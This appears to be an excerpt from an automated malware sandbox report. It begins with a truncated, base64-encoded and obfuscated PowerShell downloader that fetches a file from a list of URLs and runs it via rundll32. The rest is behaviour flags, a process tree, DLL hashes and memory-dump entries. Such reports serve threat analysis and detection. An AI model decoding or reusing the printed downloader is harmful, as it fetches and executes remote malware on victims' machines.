lACcAKQApAFsAMABdACkALgAiAFMAUABMAGAAaQBUACIAKAAkAEoAYwB4ADIANQB0ADcAIAArACAAJABUAHcAbwA1AHoAdQBjACAAKwAgACQAUQAyAHUAdgBjAGwAcgApADsAJABFAGQAcAAxAHcAYQBtAD0AKAAnAFkAawAnACsAKAAnAG8AJwArACcAbQAxAGkAJwApACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA0AHMAdwBoAHIAegAgAGkAbgAgACQAWgB4AGkAawBqAHMAaAAgAHwAIABTAG8AcgBgAFQALQBvAGAAQgBqAGAAZQBDAFQAIAB7AGcARQBUAC0AYABSAEEATgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABRAHEAcQBsAGgAZQA5AC4AIgBkAG8AVwBOAGwAbwBgAEEARABmAGkAYABMAGUAIgAoACQAQQA0AHMAdwBoAHIAegAsACAAJABTAG8AMgB2ADMAYgBoACkAOwAkAEkAcgByAHoAMAAwAHoAPQAoACgAJwBWADAAJwArACcAaAA5AHAAJwArACcAdAAnACkAKwAnADkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbwAyAHYAMwBiAGgAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADYANgA2ADEAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAJwArACcAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABTAG8AMgB2ADMAYgBoACwAMAA7ACQARQAxAGsAaQAzAHAAbQA9ACgAKAAnAFoANQB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcANQBwACcAKQApADsAYgByAGUAYQBrADsAJABMAGoAdgA2ADMAZQBpAD0AKAAoACcAWAA4ACcAKwAnAHkAJwApACsAJwA1AHAAJwArACcAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBqAHQAcwBvADYAdQA9ACgAKAAnAEQAXwBfACcAKwAnAGYAZgAnACkAKwAnAHAAJwArACcAagAnACkA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll,03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll,04⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dllMD5
19473a4823afb3ca1c966ffed1ee6003
SHA1db853d8f738ee15172141315e96644bf6f265d6b
SHA2567359fb03e09c8416c7a967f72df483a1b60066434c9e49e0deb4b18cb11e9192
SHA512850fbc3ae33fa2d36fb4ecd7d06487be6dc1e382e7228faf1648b53e7c0d99ef9724b7578b1aaa42f97b53f2b60497737d14033e2deb09f38d838e7f2aa065cd
-
\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dllMD5
19473a4823afb3ca1c966ffed1ee6003
SHA1db853d8f738ee15172141315e96644bf6f265d6b
SHA2567359fb03e09c8416c7a967f72df483a1b60066434c9e49e0deb4b18cb11e9192
SHA512850fbc3ae33fa2d36fb4ecd7d06487be6dc1e382e7228faf1648b53e7c0d99ef9724b7578b1aaa42f97b53f2b60497737d14033e2deb09f38d838e7f2aa065cd
-
memory/848-0-0x00007FFF28E60000-0x00007FFF29497000-memory.dmpFilesize
6.2MB
-
memory/848-4-0x0000013BD8499000-0x0000013BD84BA000-memory.dmpFilesize
132KB
-
memory/984-11-0x0000000000000000-mapping.dmp
-
memory/1996-6-0x0000000000000000-mapping.dmp
-
memory/2680-7-0x0000000000000000-mapping.dmp
-
memory/2680-8-0x00007FFF20CA0000-0x00007FFF2168C000-memory.dmpFilesize
9.9MB
-
memory/2680-9-0x0000028D4CB40000-0x0000028D4CB41000-memory.dmpFilesize
4KB
-
memory/2680-10-0x0000028D4D1F0000-0x0000028D4D1F1000-memory.dmpFilesize
4KB
-
memory/3836-13-0x0000000000000000-mapping.dmp
-
memory/3836-15-0x0000000004640000-0x000000000467D000-memory.dmpFilesize
244KB